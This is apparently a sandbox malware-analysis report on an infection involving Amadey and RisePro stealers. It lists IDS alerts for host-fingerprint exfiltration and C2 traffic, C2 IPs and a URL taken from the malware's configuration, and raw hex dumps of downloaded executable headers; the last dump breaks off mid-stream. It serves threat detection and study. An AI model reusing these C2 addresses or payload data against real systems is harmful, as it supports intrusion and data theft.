Source: Traffic	Snort IDS: 2044696 ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M2 192.168.2.5:49721 -> 193.233.132.56:80
Source: Traffic	Snort IDS: 2044696 ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M2 192.168.2.5:49741 -> 193.233.132.56:80
Source: Traffic	Snort IDS: 2049060 ET TROJAN RisePro TCP Heartbeat Packet 192.168.2.5:49762 -> 147.45.47.93:58709
Source: Traffic	Snort IDS: 2046266 ET TROJAN [ANY.RUN] RisePro TCP (Token) 147.45.47.93:58709 -> 192.168.2.5:49762
Source: Traffic	Snort IDS: 2046267 ET TROJAN [ANY.RUN] RisePro TCP (External IP) 147.45.47.93:58709 -> 192.168.2.5:49762
Source: Traffic	Snort IDS: 2044696 ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M2 192.168.2.5:49768 -> 193.233.132.56:80
Source: Traffic	Snort IDS: 2046266 ET TROJAN [ANY.RUN] RisePro TCP (Token) 147.45.47.93:58709 -> 192.168.2.5:49773
Source: Traffic	Snort IDS: 2046266 ET TROJAN [ANY.RUN] RisePro TCP (Token) 147.45.47.93:58709 -> 192.168.2.5:49774
Source: Traffic	Snort IDS: 2046267 ET TROJAN [ANY.RUN] RisePro TCP (External IP) 147.45.47.93:58709 -> 192.168.2.5:49773
Source: Traffic	Snort IDS: 2046267 ET TROJAN [ANY.RUN] RisePro TCP (External IP) 147.45.47.93:58709 -> 192.168.2.5:49774
Source: Traffic	Snort IDS: 2046269 ET TROJAN [ANY.RUN] RisePro TCP (Activity) 192.168.2.5:49762 -> 147.45.47.93:58709
Source: Traffic	Snort IDS: 2046269 ET TROJAN [ANY.RUN] RisePro TCP (Activity) 192.168.2.5:49773 -> 147.45.47.93:58709
Source: Traffic	Snort IDS: 2046269 ET TROJAN [ANY.RUN] RisePro TCP (Activity) 192.168.2.5:49774 -> 147.45.47.93:58709
Source: Traffic	Snort IDS: 2046266 ET TROJAN [ANY.RUN] RisePro TCP (Token) 147.45.47.93:58709 -> 192.168.2.5:49809
Source: Traffic	Snort IDS: 2046266 ET TROJAN [ANY.RUN] RisePro TCP (Token) 147.45.47.93:58709 -> 192.168.2.5:49822
Source: Traffic	Snort IDS: 2046266 ET TROJAN [ANY.RUN] RisePro TCP (Token) 147.45.47.93:58709 -> 192.168.2.5:49870
Source: Traffic	Snort IDS: 2856122 ETPRO TROJAN Amadey CnC Response M1 193.233.132.167:80 -> 192.168.2.5:49869
Source: Traffic	Snort IDS: 2044696 ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M2 192.168.2.5:49880 -> 193.233.132.167:80
Source: Traffic	Snort IDS: 2044696 ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M2 192.168.2.5:49886 -> 193.233.132.167:80
Source: Traffic	Snort IDS: 2856151 ETPRO TROJAN Amadey CnC Activity M7 192.168.2.5:49890 -> 193.233.132.167:80
Source: Traffic	Snort IDS: 2855239 ETPRO TROJAN Win32/Amadey Stealer Activity M4 (POST) 192.168.2.5:49892 -> 193.233.132.167:80
Source: Traffic	Snort IDS: 2046266 ET TROJAN [ANY.RUN] RisePro TCP (Token) 147.45.47.93:58709 -> 192.168.2.5:49918
Source: Traffic	Snort IDS: 2856147 ETPRO TROJAN Amadey CnC Activity M3 192.168.2.5:50734 -> 193.233.132.167:80

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 193.233.132.56 80
Source: C:\Windows\System32\rundll32.exe	Network Connect: 193.233.132.167 80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	IPs: 193.233.132.56
Source: Malware configuration extractor	URLs: b-stamps.gl.at.ply.gg:30946

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 147.45.47.93 ports 0,5,7,8,58709,9
Source: global traffic	TCP traffic: 147.185.221.19 ports 0,3,4,6,9,30946

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 30946
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 30946
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 30946
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 30946
Source: unknown	Network traffic detected: HTTP traffic on port 30946 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 30946 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 30946 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 30946 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 30946
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 30946
Source: unknown	Network traffic detected: HTTP traffic on port 30946 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 30946 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 30946
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 30946
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 30946
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 30946
Source: unknown	Network traffic detected: HTTP traffic on port 30946 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 30946 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 30946
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 30946
Source: unknown	Network traffic detected: HTTP traffic on port 30946 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 30946 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 30946
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 30946
Source: unknown	Network traffic detected: HTTP traffic on port 50462 -> 30946
Source: unknown	Network traffic detected: HTTP traffic on port 50461 -> 30946
Source: unknown	Network traffic detected: HTTP traffic on port 50462 -> 30946
Source: unknown	Network traffic detected: HTTP traffic on port 50461 -> 30946
Source: unknown	Network traffic detected: HTTP traffic on port 30946 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 30946 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 30946 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 30946 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 30946 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 30946 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 30946 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 30946 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 30946 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 30946 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 30946 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 30946 -> 50461
Source: unknown	Network traffic detected: HTTP traffic on port 30946 -> 50462
Source: unknown	Network traffic detected: HTTP traffic on port 30946 -> 50461
Source: unknown	Network traffic detected: HTTP traffic on port 30946 -> 50462
Source: unknown	Network traffic detected: HTTP traffic on port 30946 -> 50461
Source: unknown	Network traffic detected: HTTP traffic on port 30946 -> 50462
Source: unknown	Network traffic detected: HTTP traffic on port 50784 -> 30946
Source: unknown	Network traffic detected: HTTP traffic on port 50785 -> 30946
Source: unknown	Network traffic detected: HTTP traffic on port 50784 -> 30946
Source: unknown	Network traffic detected: HTTP traffic on port 50785 -> 30946
Source: unknown	Network traffic detected: HTTP traffic on port 30946 -> 50784
Source: unknown	Network traffic detected: HTTP traffic on port 30946 -> 50785

Source: global traffic	TCP traffic: 192.168.2.5:49762 -> 147.45.47.93:58709
Source: global traffic	TCP traffic: 192.168.2.5:49883 -> 147.185.221.19:30946

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 19 Apr 2024 01:29:03 GMTContent-Type: application/octet-streamContent-Length: 1285632Last-Modified: Sun, 03 Mar 2024 11:54:33 GMTConnection: keep-aliveETag: "65e464f9-139e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c6 de c9 0d 82 bf a7 5e 82 bf a7 5e 82 bf a7 5e d9 d7 a3 5f 91 bf a7 5e d9 d7 a4 5f 92 bf a7 5e d9 d7 a2 5f 32 bf a7 5e 57 d2 a2 5f c4 bf a7 5e 57 d2 a3 5f 8d bf a7 5e 57 d2 a4 5f 8b bf a7 5e d9 d7 a6 5f 8f bf a7 5e 82 bf a6 5e 43 bf a7 5e 19 d1 ae 5f 86 bf a7 5e 19 d1 a7 5f 83 bf a7 5e 19 d1 58 5e 83 bf a7 5e 19 d1 a5 5f 83 bf a7 5e 52 69 63 68 82 bf a7 5e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 07 00 69 12 e4 65 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 0e 18 00 c0 0f 00 00 52 04 00 00 00 00 00 68 06 0d 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 14 00 00 04 00 00 00 00 00 00 02 00 60 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 20 89 12 00 58 00 00 00 78 89 12 00 8c 00 00 00 00 20 14 00 f8 00 00 00 00 60 13 00 28 ad 00 00 00 00 00 00 00 00 00 00 00 30 14 00 f4 15 00 00 b0 9e 11 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 9f 11 00 08 01 00 00 00 00 00 00 00 00 00 00 00 d0 0f 00 e8 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f8 be 0f 00 00 10 00 00 00 c0 0f 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 e2 cd 02 00 00 d0 0f 00 00 ce 02 00 00 c4 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 4c bb 00 00 00 a0 12 00 00 44 00 00 00 92 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 28 ad 00 00 00 60 13 00 00 ae 00 00 00 d6 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 5f 52 44 41 54 41 00 00 94 00 00 00 00 10 14 00 00 02 00 00 00 84 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 f8 00 00 00 00 20 14 00 00 02 00 00 00 86 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f4 15 00 00 00 30 14 00 00 16 00 00 00 88 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 19 Apr 2024 01:29:04 GMTContent-Type: application/octet-streamContent-Length: 1905152Last-Modified: Fri, 19 Apr 2024 00:37:12 GMTConnection: keep-aliveETag: "6621bcb8-1d1200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 2a 52 e4 13 6e 33 8a 40 6e 33 8a 40 6e 33 8a 40 35 5b 89 41 60 33 8a 40 35 5b 8f 41 f0 33 8a 40 bb 5e 8e 41 7c 33 8a 40 bb 5e 89 41 7a 33 8a 40 bb 5e 8f 41 1b 33 8a 40 35 5b 8e 41 7a 33 8a 40 35 5b 8b 41 7d 33 8a 40 6e 33 8b 40 ba 33 8a 40 f5 5d 83 41 6f 33 8a 40 f5 5d 75 40 6f 33 8a 40 f5 5d 88 41 6f 33 8a 40 52 69 63 68 6e 33 8a 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 15 bf bb 65 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 dc 04 00 00 aa 01 00 00 00 00 00 00 50 4b 00 00 10 00 00 00 f0 04 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 4b 00 00 04 00 00 4a 61 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 56 70 06 00 6a 00 00 00 00 60 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 3b 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 98 3b 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 50 06 00 00 10 00 00 00 d6 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 60 06 00 00 02 00 00 00 e6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 70 06 00 00 02 00 00 00 e8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 2a 00 00 80 06 00 00 02 00 00 00 ea 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 62 75 70 79 62 6b 65 00 00 1a 00 00 40 31 00 00 fe 19 00 00 ec 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 6a 78 71 61 69 64 73 00 10 00 00 00 40 4b 00 00 06 00 00 00 ea 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 4b 00 00 22 00 00 00 f0 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 19 Apr 2024 01:29:06 GMTContent-Type: application/octet-streamContent-Length: 112128Last-Modified: Sun, 03 Mar 2024 11:54:32 GMTConnection: keep-aliveETag: "65e464f8-1b600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 27 f6 04 b3 63 97 6a e0 63 97 6a e0 63 97 6a e0 38 ff 69 e1 69 97 6a e0 38 ff 6f e1 eb 97 6a e0 38 ff 6e e1 71 97 6a e0 b6 fa 6e e1 6c 97 6a e0 b6 fa 69 e1 72 97 6a e0 b6 fa 6f e1 42 97 6a e0 38 ff 6b e1 64 97 6a e0 63 97 6b e0 02 97 6a e0 f8 f9 63 e1 60 97 6a e0 f8 f9 6a e1 62 97 6a e0 f8 f9 95 e0 62 97 6a e0 f8 f9 68 e1 62 97 6a e0 52 69 63 68 63 97 6a e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 6a 12 e4 65 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 18 00 24 01 00 00 9a 00 00 00 00 00 00 ec 66 00 00 00 10 00 00 00 40 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 02 00 00 04 00 00 00 00 00 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 20 a1 01 00 9c 00 00 00 bc a1 01 00 50 00 00 00 00 d0 01 00 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 d4 14 00 00 f0 8f 01 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 90 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 40 01 00 4c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 36 23 01 00 00 10 00 00 00 24 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 34 69 00 00 00 40 01 00 00 6a 00 00 00 28 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 1c 17 00 00 00 b0 01 00 00 0c 00 00 00 92 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f8 00 00 00 00 d0 01 00 00 02 00 00 00 9e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d4 14 00 00 00 e0 01 00 00 16 00 00 00 a0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 19 Apr 2024 01:29:12 GMTContent-Type: application/octet-streamContent-Length: 1166336Last-Modified: Fri, 19 Apr 2024 00:36:20 GMTConnection: keep-aliveETag: "6621bc84-11cc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 84 bc 21 66 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 1c 08 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 12 00 00 04 00 00 94 fe 11 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 7c 61 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 11 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 7c 61 04 00 00 40 0d 00 00 62 04 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 b0 11 00 00 76 00 00 00 56 11 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 19 Apr 2024 01:29:16 GMTContent-Type: application/octet-streamContent-Length: 2295808Last-Modified: Fri, 19 Apr 2024 00:36:37 GMTConnection: keep-aliveETag: "6621bc95-230800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 9f 1a ea 14 fe 74 b9 14 fe 74 b9 14 fe 74 b9 5f 86 77 b8 1f fe 74 b9 5f 86 71 b8 d4 fe 74 b9 5f 86 73 b8 15 fe 74 b9 d6 7f 89 b9 10 fe 74 b9 d6 7f 70 b8 07 fe 74 b9 d6 7f 77 b8 0e fe 74 b9 d6 7f 71 b8 4f fe 74 b9 5f 86 70 b8 0c fe 74 b9 5f 86 72 b8 15 fe 74 b9 5f 86 75 b8 0f fe 74 b9 14 fe 75 b9 34 ff 74 b9 e7 7c 7d b8 08 fe 74 b9 e7 7c 74 b8 15 fe 74 b9 e7 7c 8b b9 15 fe 74 b9 14 fe e3 b9 15 fe 74 b9 e7 7c 76 b8 15 fe 74 b9 52 69 63 68 14 fe 74 b9 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 0c 9a 1f 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 34 11 00 00 32 04 00 00 00 00 00 00 10 58 00 00 10 00 00 00 50 11 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 58 00 00 04 00 00 0a 19 23 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 54 4d 57 00 4c 00 00 00 6d 10 15 00 95 00 00 00 00 50 14 00 ec b5 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 4d 57 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f4 4c 57 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 e4 13 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 14 00 00 10 00 00 00 3e 09 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ec b5 00 00 00 50 14 00 00 82 00 00 00 4e 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 10 15 00 00 02 00 00 00 d0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 b0 29 00 00 20 15 00 00 02 00 00 00 d2 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 6a 77 79 65 79 6e 69 00 40 19 00 00 d0 3e 00 00 32 19 00 00 d4 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 7a 6f 65 75 71 78 77 62 00 10 00 00 00 10 58 00 00 02 00 00 00 06 23 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 19 Apr 2024 01:29:22 GMTContent-Type: application/octet-streamContent-Length: 2310656Last-Modified: Fri, 19 Apr 2024 00:36:46 GMTConnection: keep-aliveETag: "6621bc9e-234200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 9f 1a ea 14 fe 74 b9 14 fe 74 b9 14 fe 74 b9 5f 86 77 b8 1f fe 74 b9 5f 86 71 b8 d4 fe 74 b9 5f 86 73 b8 15 fe 74 b9 d6 7f 89 b9 10 fe 74 b9 d6 7f 70 b8 07 fe 74 b9 d6 7f 77 b8 0e fe 